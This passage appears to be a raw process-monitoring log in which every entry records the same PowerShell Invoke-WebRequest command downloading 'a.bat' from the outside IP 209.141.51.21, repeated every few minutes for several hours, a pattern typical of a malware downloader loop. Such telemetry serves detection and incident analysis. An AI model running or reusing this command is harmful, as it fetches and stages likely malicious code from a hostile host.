'a.bat'" (null) 2024-09-19 01:36:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 01:39:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 01:41:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 01:44:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 01:46:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 01:49:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 01:51:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 01:54:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 01:56:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 01:59:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 02:02:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 02:04:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 02:07:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 02:09:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 02:12:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 02:14:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 02:17:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 02:19:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 02:22:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 02:24:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 02:27:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 02:29:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 02:32:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 02:34:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 02:37:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 02:39:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 02:42:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 02:44:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 02:47:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 02:49:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 02:52:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 02:54:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 02:57:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 02:59:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 03:02:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 03:04:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 03:07:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 03:09:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 03:12:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 03:14:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 03:17:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 03:19:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 03:22:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 03:24:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 03:27:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 03:29:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 03:32:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 03:34:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 03:37:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 03:39:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 03:42:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 03:45:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 03:47:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 03:50:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 03:52:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 03:55:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 03:57:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 04:00:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 04:02:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 04:05:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 04:07:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 04:10:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 04:12:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 04:15:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 04:17:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 04:20:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 04:22:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 04:25:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 04:27:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 04:30:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 04:32:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 04:35:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 04:37:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 04:40:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 04:42:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 04:45:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 04:47:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 04:50:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 04:52:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 04:55:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 04:57:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 05:00:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 05:02:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 05:05:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 05:07:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 05:10:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 05:13:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 05:15:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 05:18:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 05:20:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 05:23:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 05:25:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 05:28:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 05:30:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 05:33:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 05:35:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 05:38:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 05:40:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 05:43:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 05:45:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 05:48:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 05:50:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 05:53:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 05:55:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 05:58:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 06:00:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 06:03:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 06:05:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 06:08:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 06:10:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 06:13:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 06:15:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 06:18:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 06:21:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 06:23:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 06:26:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 06:28:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 06:31:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 06:33:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 06:36:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 06:38:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 06:41:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 06:43:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 06:46:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 06:48:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 06:51:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 06:53:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 06:56:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 06:58:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 07:01:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 07:03:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 07:06:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 07:08:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 07:11:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 07:13:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 